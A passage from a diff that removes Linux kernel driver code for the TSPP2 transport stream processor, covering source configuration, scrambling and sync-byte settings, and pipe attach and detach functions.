-EINVAL; +- } +- +- if (src->enabled) { +- pr_err("%s: Source needs to be disabled before it can be closed\n", +- __func__); +- mutex_unlock(&src->device->mutex); +- return -EPERM; +- } +- +- /* Verify resources have been released by the caller */ +- if ((src->num_associated_batches > 0) || +- (src->num_associated_pipes > 0) || +- (src->num_associated_filters > 0)) { +- pr_err("%s: Source's resources need to be removed before it can be closed\n", +- __func__); +- mutex_unlock(&src->device->mutex); +- return -EPERM; +- } +- +- /* +- * Most fields are reset to default values when opening a source, so +- * there is no need to reset them all here. We only need to mark the +- * source as closed. +- */ +- src->opened = 0; +- spin_lock_irqsave(&src->device->spinlock, flags); +- src->event_callback = NULL; +- src->event_cookie = NULL; +- src->event_bitmask = 0; +- spin_unlock_irqrestore(&src->device->spinlock, flags); +- src->enabled = 0; +- +- /* +- * Source-related HW registers are reset when opening a source, so +- * we don't reser them here. Note that a source is disabled before +- * it is closed, so no need to disable it here either. +- */ +- +- mutex_unlock(&src->device->mutex); +- +- dev_dbg(src->device->dev, "%s: successful\n", __func__); +- +- return 0; +-} +-EXPORT_SYMBOL(tspp2_src_close); +- +-/** +- * tspp2_src_parsing_option_set() - Set source parsing configuration option. +- * +- * @src_handle: Source to configure. +- * @option: Parsing configuration option to enable / disable. +- * @enable: Enable / disable option. +- * +- * Return 0 on success, error value otherwise. +- */ +-int tspp2_src_parsing_option_set(u32 src_handle, +- enum tspp2_src_parsing_option option, +- int enable) +-{ +- int ret; +- u32 reg = 0; +- struct tspp2_src *src = (struct tspp2_src *)src_handle; +- +- if (!src) { +- pr_err("%s: Invalid source handle\n", __func__); +- return -EINVAL; +- } +- +- ret = pm_runtime_get_sync(src->device->dev); +- if (ret < 0) +- return ret; +- +- if (mutex_lock_interruptible(&src->device->mutex)) { +- pm_runtime_mark_last_busy(src->device->dev); +- pm_runtime_put_autosuspend(src->device->dev); +- return -ERESTARTSYS; +- } +- +- if (!src->device->opened) { +- pr_err("%s: Device must be opened first\n", __func__); +- mutex_unlock(&src->device->mutex); +- pm_runtime_mark_last_busy(src->device->dev); +- pm_runtime_put_autosuspend(src->device->dev); +- return -EPERM; +- } +- +- if (!src->opened) { +- pr_err("%s: Source not opened\n", __func__); +- mutex_unlock(&src->device->mutex); +- pm_runtime_mark_last_busy(src->device->dev); +- pm_runtime_put_autosuspend(src->device->dev); +- return -EINVAL; +- } +- +- reg = readl_relaxed(src->device->base + +- TSPP2_SRC_CONFIG(src->hw_index)); +- +- switch (option) { +- case TSPP2_SRC_PARSING_OPT_CHECK_CONTINUITY: +- if (enable) +- reg |= (0x1 << SRC_CONFIG_CHECK_CONT_OFFS); +- else +- reg &= ~(0x1 << SRC_CONFIG_CHECK_CONT_OFFS); +- break; +- case TSPP2_SRC_PARSING_OPT_IGNORE_DISCONTINUITY: +- if (enable) +- reg |= (0x1 << SRC_CONFIG_IGNORE_DISCONT_OFFS); +- else +- reg &= ~(0x1 << SRC_CONFIG_IGNORE_DISCONT_OFFS); +- break; +- case TSPP2_SRC_PARSING_OPT_ASSUME_DUPLICATE_PACKETS: +- if (enable) +- reg |= (0x1 << SRC_CONFIG_ASSUME_DUPLICATES_OFFS); +- else +- reg &= ~(0x1 << SRC_CONFIG_ASSUME_DUPLICATES_OFFS); +- break; +- case TSPP2_SRC_PARSING_OPT_DISCARD_INVALID_AF_PACKETS: +- if (enable) +- reg |= (0x1 << SRC_CONFIG_DISCARD_INVALID_AF_OFFS); +- else +- reg &= ~(0x1 << SRC_CONFIG_DISCARD_INVALID_AF_OFFS); +- break; +- case TSPP2_SRC_PARSING_OPT_VERIFY_PES_START: +- if (enable) +- reg |= (0x1 << SRC_CONFIG_VERIFY_PES_START_OFFS); +- else +- reg &= ~(0x1 << SRC_CONFIG_VERIFY_PES_START_OFFS); +- break; +- default: +- pr_err("%s: Invalid option %d\n", __func__, option); +- mutex_unlock(&src->device->mutex); +- pm_runtime_mark_last_busy(src->device->dev); +- pm_runtime_put_autosuspend(src->device->dev); +- return -EINVAL; +- } +- +- writel_relaxed(reg, src->device->base + +- TSPP2_SRC_CONFIG(src->hw_index)); +- +- mutex_unlock(&src->device->mutex); +- +- pm_runtime_mark_last_busy(src->device->dev); +- pm_runtime_put_autosuspend(src->device->dev); +- +- dev_dbg(src->device->dev, "%s: successful\n", __func__); +- +- return 0; +-} +-EXPORT_SYMBOL(tspp2_src_parsing_option_set); +- +-/** +- * tspp2_src_parsing_option_get() - Get source parsing configuration option. +- * +- * @src_handle: Source handle. +- * @option: Parsing configuration option to get. +- * @enable: Option's enable / disable indication. +- * +- * Return 0 on success, error value otherwise. +- */ +-int tspp2_src_parsing_option_get(u32 src_handle, +- enum tspp2_src_parsing_option option, +- int *enable) +-{ +- int ret; +- u32 reg = 0; +- struct tspp2_src *src = (struct tspp2_src *)src_handle; +- +- if (!src) { +- pr_err("%s: Invalid source handle\n", __func__); +- return -EINVAL; +- } +- if (!enable) { +- pr_err("%s: NULL pointer\n", __func__); +- return -EINVAL; +- } +- +- ret = pm_runtime_get_sync(src->device->dev); +- if (ret < 0) +- return ret; +- +- if (mutex_lock_interruptible(&src->device->mutex)) { +- pm_runtime_mark_last_busy(src->device->dev); +- pm_runtime_put_autosuspend(src->device->dev); +- return -ERESTARTSYS; +- } +- +- if (!src->device->opened) { +- pr_err("%s: Device must be opened first\n", __func__); +- mutex_unlock(&src->device->mutex); +- pm_runtime_mark_last_busy(src->device->dev); +- pm_runtime_put_autosuspend(src->device->dev); +- return -EPERM; +- } +- +- if (!src->opened) { +- pr_err("%s: Source not opened\n", __func__); +- mutex_unlock(&src->device->mutex); +- pm_runtime_mark_last_busy(src->device->dev); +- pm_runtime_put_autosuspend(src->device->dev); +- return -EINVAL; +- } +- +- reg = readl_relaxed(src->device->base + +- TSPP2_SRC_CONFIG(src->hw_index)); +- +- switch (option) { +- case TSPP2_SRC_PARSING_OPT_CHECK_CONTINUITY: +- *enable = ((reg >> SRC_CONFIG_CHECK_CONT_OFFS) & 0x1); +- break; +- case TSPP2_SRC_PARSING_OPT_IGNORE_DISCONTINUITY: +- *enable = ((reg >> SRC_CONFIG_IGNORE_DISCONT_OFFS) & 0x1); +- break; +- case TSPP2_SRC_PARSING_OPT_ASSUME_DUPLICATE_PACKETS: +- *enable = ((reg >> SRC_CONFIG_ASSUME_DUPLICATES_OFFS) & 0x1); +- break; +- case TSPP2_SRC_PARSING_OPT_DISCARD_INVALID_AF_PACKETS: +- *enable = ((reg >> SRC_CONFIG_DISCARD_INVALID_AF_OFFS) & 0x1); +- break; +- case TSPP2_SRC_PARSING_OPT_VERIFY_PES_START: +- *enable = ((reg >> SRC_CONFIG_VERIFY_PES_START_OFFS) & 0x1); +- break; +- default: +- pr_err("%s: Invalid option %d\n", __func__, option); +- mutex_unlock(&src->device->mutex); +- pm_runtime_mark_last_busy(src->device->dev); +- pm_runtime_put_autosuspend(src->device->dev); +- return -EINVAL; +- } +- +- mutex_unlock(&src->device->mutex); +- +- pm_runtime_mark_last_busy(src->device->dev); +- pm_runtime_put_autosuspend(src->device->dev); +- +- dev_dbg(src->device->dev, "%s: successful\n", __func__); +- +- return 0; +-} +-EXPORT_SYMBOL(tspp2_src_parsing_option_get); +- +-/** +- * tspp2_src_sync_byte_config_set() - Set source sync byte configuration. +- * +- * @src_handle: Source to configure. +- * @check_sync_byte: Check TS packet sync byte. +- * @sync_byte_value: Sync byte value to check (e.g., 0x47). +- * +- * Return 0 on success, error value otherwise. +- */ +-int tspp2_src_sync_byte_config_set(u32 src_handle, +- int check_sync_byte, +- u8 sync_byte_value) +-{ +- int ret; +- u32 reg = 0; +- struct tspp2_src *src = (struct tspp2_src *)src_handle; +- +- if (!src) { +- pr_err("%s: Invalid source handle\n", __func__); +- return -EINVAL; +- } +- +- ret = pm_runtime_get_sync(src->device->dev); +- if (ret < 0) +- return ret; +- +- if (mutex_lock_interruptible(&src->device->mutex)) { +- pm_runtime_mark_last_busy(src->device->dev); +- pm_runtime_put_autosuspend(src->device->dev); +- return -ERESTARTSYS; +- } +- +- if (!src->device->opened) { +- pr_err("%s: Device must be opened first\n", __func__); +- mutex_unlock(&src->device->mutex); +- pm_runtime_mark_last_busy(src->device->dev); +- pm_runtime_put_autosuspend(src->device->dev); +- return -EPERM; +- } +- +- if (!src->opened) { +- pr_err("%s: Source not opened\n", __func__); +- mutex_unlock(&src->device->mutex); +- pm_runtime_mark_last_busy(src->device->dev); +- pm_runtime_put_autosuspend(src->device->dev); +- return -EINVAL; +- } +- +- reg = readl_relaxed(src->device->base + +- TSPP2_SRC_CONFIG(src->hw_index)); +- +- if (check_sync_byte) +- reg |= (0x1 << SRC_CONFIG_CHECK_SYNC_OFFS); +- else +- reg &= ~(0x1 << SRC_CONFIG_CHECK_SYNC_OFFS); +- +- reg &= ~(0xFF << SRC_CONFIG_SYNC_BYTE_OFFS); +- reg |= (sync_byte_value << SRC_CONFIG_SYNC_BYTE_OFFS); +- +- writel_relaxed(reg, src->device->base + +- TSPP2_SRC_CONFIG(src->hw_index)); +- +- mutex_unlock(&src->device->mutex); +- +- pm_runtime_mark_last_busy(src->device->dev); +- pm_runtime_put_autosuspend(src->device->dev); +- +- dev_dbg(src->device->dev, "%s: successful\n", __func__); +- +- return 0; +-} +-EXPORT_SYMBOL(tspp2_src_sync_byte_config_set); +- +-/** +- * tspp2_src_sync_byte_config_get() - Get source sync byte configuration. +- * +- * @src_handle: Source handle. +- * @check_sync_byte: Check TS packet sync byte indication. +- * @sync_byte_value: Sync byte value. +- * +- * Return 0 on success, error value otherwise. +- */ +-int tspp2_src_sync_byte_config_get(u32 src_handle, +- int *check_sync_byte, +- u8 *sync_byte_value) +-{ +- int ret; +- u32 reg = 0; +- struct tspp2_src *src = (struct tspp2_src *)src_handle; +- +- if (!src) { +- pr_err("%s: Invalid source handle\n", __func__); +- return -EINVAL; +- } +- if (!check_sync_byte || !sync_byte_value) { +- pr_err("%s: NULL pointer\n", __func__); +- return -EINVAL; +- } +- +- ret = pm_runtime_get_sync(src->device->dev); +- if (ret < 0) +- return ret; +- +- if (mutex_lock_interruptible(&src->device->mutex)) { +- pm_runtime_mark_last_busy(src->device->dev); +- pm_runtime_put_autosuspend(src->device->dev); +- return -ERESTARTSYS; +- } +- +- if (!src->device->opened) { +- pr_err("%s: Device must be opened first\n", __func__); +- mutex_unlock(&src->device->mutex); +- pm_runtime_mark_last_busy(src->device->dev); +- pm_runtime_put_autosuspend(src->device->dev); +- return -EPERM; +- } +- +- if (!src->opened) { +- pr_err("%s: Source not opened\n", __func__); +- mutex_unlock(&src->device->mutex); +- pm_runtime_mark_last_busy(src->device->dev); +- pm_runtime_put_autosuspend(src->device->dev); +- return -EINVAL; +- } +- +- reg = readl_relaxed(src->device->base + +- TSPP2_SRC_CONFIG(src->hw_index)); +- +- *check_sync_byte = (reg >> SRC_CONFIG_CHECK_SYNC_OFFS) & 0x1; +- *sync_byte_value = (reg >> SRC_CONFIG_SYNC_BYTE_OFFS) & 0xFF; +- +- mutex_unlock(&src->device->mutex); +- +- pm_runtime_mark_last_busy(src->device->dev); +- pm_runtime_put_autosuspend(src->device->dev); +- +- dev_dbg(src->device->dev, "%s: successful\n", __func__); +- +- return 0; +-} +-EXPORT_SYMBOL(tspp2_src_sync_byte_config_get); +- +-/** +- * tspp2_src_scrambling_config_set() - Set source scrambling configuration. +- * +- * @src_handle: Source to configure. +- * @cfg: Scrambling configuration to set. +- * +- * Return 0 on success, error value otherwise. +- */ +-int tspp2_src_scrambling_config_set(u32 src_handle, +- const struct tspp2_src_scrambling_config *cfg) +-{ +- int ret; +- u32 reg = 0; +- struct tspp2_src *src = (struct tspp2_src *)src_handle; +- +- if (!src) { +- pr_err("%s: Invalid source handle\n", __func__); +- return -EINVAL; +- } +- if (!cfg) { +- pr_err("%s: NULL pointer\n", __func__); +- return -EINVAL; +- } +- +- ret = pm_runtime_get_sync(src->device->dev); +- if (ret < 0) +- return ret; +- +- if (mutex_lock_interruptible(&src->device->mutex)) { +- pm_runtime_mark_last_busy(src->device->dev); +- pm_runtime_put_autosuspend(src->device->dev); +- return -ERESTARTSYS; +- } +- +- if (!src->device->opened) { +- pr_err("%s: Device must be opened first\n", __func__); +- mutex_unlock(&src->device->mutex); +- pm_runtime_mark_last_busy(src->device->dev); +- pm_runtime_put_autosuspend(src->device->dev); +- return -EPERM; +- } +- +- if (!src->opened) { +- pr_err("%s: Source not opened\n", __func__); +- mutex_unlock(&src->device->mutex); +- pm_runtime_mark_last_busy(src->device->dev); +- pm_runtime_put_autosuspend(src->device->dev); +- return -EINVAL; +- } +- +- reg = readl_relaxed(src->device->base + +- TSPP2_SRC_CONFIG(src->hw_index)); +- +- /* Clear all scrambling configuration bits before setting them */ +- reg &= ~(0x3 << SRC_CONFIG_SCRAMBLING0_OFFS); +- reg &= ~(0x3 << SRC_CONFIG_SCRAMBLING1_OFFS); +- reg &= ~(0x3 << SRC_CONFIG_SCRAMBLING2_OFFS); +- reg &= ~(0x3 << SRC_CONFIG_SCRAMBLING3_OFFS); +- reg &= ~(0x3 << SRC_CONFIG_SCRAMBLING_MONITOR_OFFS); +- +- reg |= (cfg->scrambling_0_ctrl << SRC_CONFIG_SCRAMBLING0_OFFS); +- reg |= (cfg->scrambling_1_ctrl << SRC_CONFIG_SCRAMBLING1_OFFS); +- reg |= (cfg->scrambling_2_ctrl << SRC_CONFIG_SCRAMBLING2_OFFS); +- reg |= (cfg->scrambling_3_ctrl << SRC_CONFIG_SCRAMBLING3_OFFS); +- reg |= (cfg->scrambling_bits_monitoring << +- SRC_CONFIG_SCRAMBLING_MONITOR_OFFS); +- +- writel_relaxed(reg, src->device->base + +- TSPP2_SRC_CONFIG(src->hw_index)); +- +- src->scrambling_bits_monitoring = cfg->scrambling_bits_monitoring; +- +- mutex_unlock(&src->device->mutex); +- +- pm_runtime_mark_last_busy(src->device->dev); +- pm_runtime_put_autosuspend(src->device->dev); +- +- dev_dbg(src->device->dev, "%s: successful\n", __func__); +- +- return 0; +-} +-EXPORT_SYMBOL(tspp2_src_scrambling_config_set); +- +-/** +- * tspp2_src_scrambling_config_get() - Get source scrambling configuration. +- * +- * @src_handle: Source handle. +- * @cfg: Scrambling configuration. +- * +- * Return 0 on success, error value otherwise. +- */ +-int tspp2_src_scrambling_config_get(u32 src_handle, +- struct tspp2_src_scrambling_config *cfg) +-{ +- int ret; +- u32 reg = 0; +- struct tspp2_src *src = (struct tspp2_src *)src_handle; +- +- if (!src) { +- pr_err("%s: Invalid source handle\n", __func__); +- return -EINVAL; +- } +- if (!cfg) { +- pr_err("%s: NULL pointer\n", __func__); +- return -EINVAL; +- } +- +- ret = pm_runtime_get_sync(src->device->dev); +- if (ret < 0) +- return ret; +- +- if (mutex_lock_interruptible(&src->device->mutex)) { +- pm_runtime_mark_last_busy(src->device->dev); +- pm_runtime_put_autosuspend(src->device->dev); +- return -ERESTARTSYS; +- } +- +- if (!src->device->opened) { +- pr_err("%s: Device must be opened first\n", __func__); +- mutex_unlock(&src->device->mutex); +- pm_runtime_mark_last_busy(src->device->dev); +- pm_runtime_put_autosuspend(src->device->dev); +- return -EPERM; +- } +- +- if (!src->opened) { +- pr_err("%s: Source not opened\n", __func__); +- mutex_unlock(&src->device->mutex); +- pm_runtime_mark_last_busy(src->device->dev); +- pm_runtime_put_autosuspend(src->device->dev); +- return -EINVAL; +- } +- +- reg = readl_relaxed(src->device->base + +- TSPP2_SRC_CONFIG(src->hw_index)); +- +- cfg->scrambling_0_ctrl = ((reg >> SRC_CONFIG_SCRAMBLING0_OFFS) & 0x3); +- cfg->scrambling_1_ctrl = ((reg >> SRC_CONFIG_SCRAMBLING1_OFFS) & 0x3); +- cfg->scrambling_2_ctrl = ((reg >> SRC_CONFIG_SCRAMBLING2_OFFS) & 0x3); +- cfg->scrambling_3_ctrl = ((reg >> SRC_CONFIG_SCRAMBLING3_OFFS) & 0x3); +- cfg->scrambling_bits_monitoring = +- ((reg >> SRC_CONFIG_SCRAMBLING_MONITOR_OFFS) & 0x3); +- +- mutex_unlock(&src->device->mutex); +- +- pm_runtime_mark_last_busy(src->device->dev); +- pm_runtime_put_autosuspend(src->device->dev); +- +- dev_dbg(src->device->dev, "%s: successful\n", __func__); +- +- return 0; +-} +-EXPORT_SYMBOL(tspp2_src_scrambling_config_get); +- +-/** +- * tspp2_src_packet_format_set() - Set source packet size and format. +- * +- * @src_handle: Source to configure. +- * @format: Packet format. +- * +- * Return 0 on success, error value otherwise. +- */ +-int tspp2_src_packet_format_set(u32 src_handle, +- enum tspp2_packet_format format) +-{ +- int ret; +- u32 reg = 0; +- struct tspp2_src *src = (struct tspp2_src *)src_handle; +- +- if (!src) { +- pr_err("%s: Invalid source handle\n", __func__); +- return -EINVAL; +- } +- +- ret = pm_runtime_get_sync(src->device->dev); +- if (ret < 0) +- return ret; +- +- if (mutex_lock_interruptible(&src->device->mutex)) { +- pm_runtime_mark_last_busy(src->device->dev); +- pm_runtime_put_autosuspend(src->device->dev); +- return -ERESTARTSYS; +- } +- +- if (!src->device->opened) { +- pr_err("%s: Device must be opened first\n", __func__); +- mutex_unlock(&src->device->mutex); +- pm_runtime_mark_last_busy(src->device->dev); +- pm_runtime_put_autosuspend(src->device->dev); +- return -EPERM; +- } +- +- if (!src->opened) { +- pr_err("%s: Source not opened\n", __func__); +- mutex_unlock(&src->device->mutex); +- pm_runtime_mark_last_busy(src->device->dev); +- pm_runtime_put_autosuspend(src->device->dev); +- return -EINVAL; +- } +- +- if (src->input == TSPP2_INPUT_MEMORY) { +- reg = readl_relaxed(src->device->base + +- TSPP2_MEM_INPUT_SRC_CONFIG(src->hw_index)); +- +- reg &= ~(0x1 << MEM_INPUT_SRC_CONFIG_STAMP_SUFFIX_OFFS); +- reg &= ~(0x1 << MEM_INPUT_SRC_CONFIG_STAMP_EN_OFFS); +- +- switch (format) { +- case TSPP2_PACKET_FORMAT_188_RAW: +- /* We do not need to set any bit */ +- break; +- case TSPP2_PACKET_FORMAT_192_HEAD: +- reg |= (0x1 << MEM_INPUT_SRC_CONFIG_STAMP_EN_OFFS); +- break; +- case TSPP2_PACKET_FORMAT_192_TAIL: +- reg |= (0x1 << MEM_INPUT_SRC_CONFIG_STAMP_EN_OFFS); +- reg |= (0x1 << MEM_INPUT_SRC_CONFIG_STAMP_SUFFIX_OFFS); +- break; +- default: +- pr_err("%s: Unknown packet format\n", __func__); +- mutex_unlock(&src->device->mutex); +- pm_runtime_mark_last_busy(src->device->dev); +- pm_runtime_put_autosuspend(src->device->dev); +- return -EINVAL; +- } +- writel_relaxed(reg, src->device->base + +- TSPP2_MEM_INPUT_SRC_CONFIG(src->hw_index)); +- } +- src->pkt_format = format; +- +- /* Update source's input pipe threshold if needed */ +- if (src->input_pipe) { +- if (src->pkt_format == TSPP2_PACKET_FORMAT_188_RAW) +- src->input_pipe->threshold = 188; +- else +- src->input_pipe->threshold = 192; +- +- writel_relaxed(src->input_pipe->threshold, +- src->input_pipe->device->base + +- TSPP2_PIPE_THRESH_CONFIG(src->input_pipe->hw_index)); +- } +- +- mutex_unlock(&src->device->mutex); +- +- pm_runtime_mark_last_busy(src->device->dev); +- pm_runtime_put_autosuspend(src->device->dev); +- +- dev_dbg(src->device->dev, "%s: successful\n", __func__); +- +- return 0; +-} +-EXPORT_SYMBOL(tspp2_src_packet_format_set); +- +-/** +- * tspp2_src_pipe_attach() - Attach a pipe to a source. +- * +- * @src_handle: Source to attach the pipe to. +- * @pipe_handle: Pipe to attach to the source. +- * @cfg: For output pipes - the pipe's pull mode parameters. +- * It is not allowed to pass NULL for output pipes. +- * For input pipes this is irrelevant and the caller can +- * pass NULL. +- * +- * This function attaches a given pipe to a given source. +- * The pipe's mode (input or output) was set when the pipe was opened. +- * An input pipe can be attached to a single source (with memory input). +- * A source can have multiple output pipes attached, and an output pipe can +- * be attached to multiple sources. +- * +- * Return 0 on success, error value otherwise. +- */ +-int tspp2_src_pipe_attach(u32 src_handle, +- u32 pipe_handle, +- const struct tspp2_pipe_pull_mode_params *cfg) +-{ +- int ret; +- struct tspp2_src *src = (struct tspp2_src *)src_handle; +- struct tspp2_pipe *pipe = (struct tspp2_pipe *)pipe_handle; +- struct tspp2_output_pipe *output_pipe = NULL; +- u32 reg; +- +- if (!src || !pipe) { +- pr_err("%s: Invalid source or pipe handle\n", __func__); +- return -EINVAL; +- } +- +- ret = pm_runtime_get_sync(src->device->dev); +- if (ret < 0) +- return ret; +- +- if (mutex_lock_interruptible(&src->device->mutex)) { +- pm_runtime_mark_last_busy(src->device->dev); +- pm_runtime_put_autosuspend(src->device->dev); +- return -ERESTARTSYS; +- } +- +- if (!src->device->opened) { +- pr_err("%s: Device must be opened first\n", __func__); +- mutex_unlock(&src->device->mutex); +- pm_runtime_mark_last_busy(src->device->dev); +- pm_runtime_put_autosuspend(src->device->dev); +- return -EPERM; +- } +- +- if (!src->opened) { +- pr_err("%s: Source not opened\n", __func__); +- goto err_inval; +- } +- +- if (!pipe->opened) { +- pr_err("%s: Pipe not opened\n", __func__); +- goto err_inval; +- } +- if ((pipe->cfg.pipe_mode == TSPP2_SRC_PIPE_OUTPUT) && (cfg == NULL)) { +- pr_err("%s: Invalid pull mode parameters\n", __func__); +- goto err_inval; +- } +- +- if (pipe->cfg.pipe_mode == TSPP2_SRC_PIPE_INPUT) { +- if (src->input_pipe != NULL) { +- pr_err("%s: Source already has an input pipe attached\n", +- __func__); +- goto err_inval; +- } +- if (pipe->ref_cnt > 0) { +- pr_err( +- "%s: Pipe %u is already attached to a source. An input pipe can only be attached once\n", +- __func__, pipe_handle); +- goto err_inval; +- } +- /* +- * Input pipe threshold is determined according to the +- * source's packet size. +- */ +- if (src->pkt_format == TSPP2_PACKET_FORMAT_188_RAW) +- pipe->threshold = 188; +- else +- pipe->threshold = 192; +- +- src->input_pipe = pipe; +- +- reg = readl_relaxed(src->device->base + +- TSPP2_MEM_INPUT_SRC_CONFIG(src->hw_index)); +- reg &= ~(0x1F << MEM_INPUT_SRC_CONFIG_INPUT_PIPE_OFFS); +- reg |= (pipe->hw_index << MEM_INPUT_SRC_CONFIG_INPUT_PIPE_OFFS); +- writel_relaxed(reg, src->device->base + +- TSPP2_MEM_INPUT_SRC_CONFIG(src->hw_index)); +- } else { +- list_for_each_entry(output_pipe, +- &src->output_pipe_list, link) { +- if (output_pipe->pipe == pipe) { +- pr_err( +- "%s: Output pipe %u is already attached to source %u\n", +- __func__, pipe_handle, src_handle); +- goto err_inval; +- } +- } +- output_pipe = kmalloc(sizeof(struct tspp2_output_pipe), +- GFP_KERNEL); +- if (!output_pipe) { +- pr_err("%s: No memory to save output pipe\n", __func__); +- mutex_unlock(&src->device->mutex); +- pm_runtime_mark_last_busy(src->device->dev); +- pm_runtime_put_autosuspend(src->device->dev); +- return -ENOMEM; +- } +- output_pipe->pipe = pipe; +- pipe->threshold = (cfg->threshold & 0xFFFF); +- list_add_tail(&output_pipe->link, &src->output_pipe_list); +- +- reg = readl_relaxed(src->device->base + +- TSPP2_SRC_DEST_PIPES(src->hw_index)); +- if (cfg->is_stalling) +- reg |= (0x1 << pipe->hw_index); +- else +- reg &= ~(0x1 << pipe->hw_index); +- writel_relaxed(reg, src->device->base + +- TSPP2_SRC_DEST_PIPES(src->hw_index)); +- } +- +- reg = readl_relaxed(pipe->device->base + +- TSPP2_PIPE_THRESH_CONFIG(pipe->hw_index)); +- if ((pipe->cfg.pipe_mode == TSPP2_SRC_PIPE_OUTPUT) && +- (pipe->ref_cnt > 0) && (pipe->threshold != (reg & 0xFFFF))) { +- pr_warn("%s: overwriting output pipe threshold\n", __func__); +- } +- +- writel_relaxed(pipe->threshold, pipe->device->base + +- TSPP2_PIPE_THRESH_CONFIG(pipe->hw_index)); +- +- pipe->ref_cnt++; +- src->num_associated_pipes++; +- +- mutex_unlock(&src->device->mutex); +- +- pm_runtime_mark_last_busy(src->device->dev); +- pm_runtime_put_autosuspend(src->device->dev); +- +- dev_dbg(src->device->dev, "%s: successful\n", __func__); +- +- return 0; +- +-err_inval: +- mutex_unlock(&src->device->mutex); +- pm_runtime_mark_last_busy(src->device->dev); +- pm_runtime_put_autosuspend(src->device->dev); +- +- return -EINVAL; +-} +-EXPORT_SYMBOL(tspp2_src_pipe_attach); +- +-/** +- * tspp2_src_pipe_detach() - Detach a pipe from a source. +- * +- * @src_handle: Source to detach the pipe from. +- * @pipe_handle: Pipe to detach from the source. +- * +- * Detaches a pipe from a source. The given pipe should have been previously +- * attached to this source as either an input pipe or an output pipe. +- * Note: there is no checking if this pipe is currently defined as the output +- * pipe of any operation! +- * +- * Return 0 on success, error value otherwise. +- */ +-int tspp2_src_pipe_detach(u32 src_handle, u32 pipe_handle) +-{ +- int ret; +- struct tspp2_src *src = (struct tspp2_src *)src_handle; +- struct tspp2_pipe *pipe = (struct tspp2_pipe *)pipe_handle; +- struct tspp2_output_pipe *output_pipe = NULL; +- int found = 0; +- u32 reg; +- +- if (!src || !pipe) { +- pr_err("%s: Invalid source or pipe handle\n", __func__); +- return -EINVAL; +- } +- +- ret = pm_runtime_get_sync(src->device->dev); +- if (ret < 0) +- return ret; +- +- mutex_lock(&src->device->mutex); +- +- if (!src->device->opened) { +- pr_err("%s: Device must be opened first\n", __func__); +- mutex_unlock(&src->device->mutex); +- pm_runtime_mark_last_busy(src->device->dev); +- pm_runtime_put_autosuspend(src->device->dev); +- return -EPERM; +- } +- +- if (!src->opened) { +- pr_err("%s: Source not opened\n", __func__); +- goto err_inval; +- } +- +- if (!pipe->opened) { +- pr_err("%s: Pipe not opened\n", __func__); +- goto err_inval; +- } +- +- if (pipe->cfg.pipe_mode == TSPP2_SRC_PIPE_INPUT) { +- if (src->input_pipe != pipe) { +- pr_err( +- "%s: Input pipe %u is not attached to source %u\n", +- __func__, pipe_handle, src_handle); +- goto err_inval; +- } +- +- writel_relaxed(0xFFFF, src->input_pipe->device->base + +- TSPP2_PIPE_THRESH_CONFIG(src->input_pipe->hw_index)); +- +- if (src->enabled) { +- pr_warn("%s: Detaching input pipe from an active memory source\n", +- __func__); +- } +- /* +- * Note: not updating TSPP2_MEM_INPUT_SRC_CONFIG to reflect +- * this pipe is detached, since there is no invalid value we +- * can write instead. tspp2_src_pipe_attach() already takes +- * care of zeroing the relevant bit-field before writing the +- * new pipe nummber. +- */ +- +- src->input_pipe = NULL; +- } else { +- list_for_each_entry(output_pipe, +- &src->output_pipe_list, link) { +- if (output_pipe->pipe == pipe) { +- found = 1; +- break; +- } +- } +- if (found) { +- list_del(&output_pipe->link); +- kfree(output_pipe); +- reg = readl_relaxed(src->device->base + +- TSPP2_SRC_DEST_PIPES(src->hw_index)); +- reg &= ~(0x1 << pipe->hw_index); +- writel_relaxed(reg, src->device->base + +- TSPP2_SRC_DEST_PIPES(src->hw_index)); +- if (pipe->ref_cnt == 1) { +- writel_relaxed(0xFFFF, pipe->device->base + +- TSPP2_PIPE_THRESH_CONFIG( +- pipe->hw_index)); +- } +- } else { +- pr_err("%s: Output pipe %u is not attached to source %u\n", +- __func__, pipe_handle, src_handle); +- goto err_inval; +- } +- } +- pipe->ref_cnt--; +- src->num_associated_pipes--; +- +- mutex_unlock(&src->device->mutex); +- +- pm_runtime_mark_last_busy(src->device->dev); +- pm_runtime_put_autosuspend(src->device->dev); +- +- dev_dbg(src->device->dev, "%s: successful\n", __func__); +- +- return 0; +- +-err_inval: +- mutex_unlock(&src->device->mutex); +- pm_runtime_mark_last_busy(src->device->dev); +- pm_runtime_put_autosuspend(src->device->dev); +- +- return -EINVAL; +-} +-EXPORT_SYMBOL(tspp2_src_pipe_detach); +- +-/** +- * tspp2_src_enable() - Enable source. +- * +- * @src_handle: Source to enable. +- * +- * Return 0 on success, error value otherwise. +- */ +-int tspp2_src_enable(u32 src_handle) +-{ +- struct tspp2_src *src = (struct tspp2_src *)src_handle; +- u32 reg; +- int ret; +- +- if (!src) { +- pr_err("%s: Invalid source handle\n", __func__); +- return -EINVAL; +- } +- +- ret = pm_runtime_get_sync(src->device->dev); +- if (ret < 0) +- return ret; +- +- if (mutex_lock_interruptible(&src->device->mutex)) { +- pm_runtime_mark_last_busy(src->device->dev); +- pm_runtime_put_autosuspend(src->device->dev); +- return -ERESTARTSYS; +- } +- +- if (!src->device->opened) { +- pr_err("%s: Device must be opened first\n", __func__); +- mutex_unlock(&src->device->mutex); +- pm_runtime_mark_last_busy(src->device->dev); +- pm_runtime_put_autosuspend(src->device->dev); +- return -EPERM; +- } +- +- if (!src->opened) { +- pr_err("%s: Source not opened\n", __func__); +- mutex_unlock(&src->device->mutex); +- pm_runtime_mark_last_busy(src->device->dev); +- pm_runtime_put_autosuspend(src->device->dev); +- return -EINVAL; +- } +- +- if (src->enabled) { +- pr_warn("%s: Source already enabled\n", __func__); +- mutex_unlock(&src->device->mutex); +- pm_runtime_mark_last_busy(src->device->dev); +- pm_runtime_put_autosuspend(src->device->dev); +- return 0; +- } +- +- /* +- * Memory sources require their input pipe to be configured +- * before enabling the source. +- */ +- if ((src->input == TSPP2_INPUT_MEMORY) && (src->input_pipe == NULL)) { +- pr_err("%s: A memory source must have an input pipe attached before enabling the source", +- __func__); +- mutex_unlock(&src->device->mutex); +- pm_runtime_mark_last_busy(src->device->dev); +- pm_runtime_put_autosuspend(src->device->dev); +- return -EINVAL; +- } +- +- if (src->device->num_enabled_sources == 0) { +- ret = tspp2_clock_start(src->device); +- if (ret) { +- mutex_unlock(&src->device->mutex); +- pm_runtime_mark_last_busy(src->device->dev); +- pm_runtime_put_autosuspend(src->device->dev); +- return ret; +- } +- __pm_stay_awake(&src->device->wakeup_src); +- } +- +- if ((src->input == TSPP2_INPUT_TSIF0) || +- (src->input == TSPP2_INPUT_TSIF1)) { 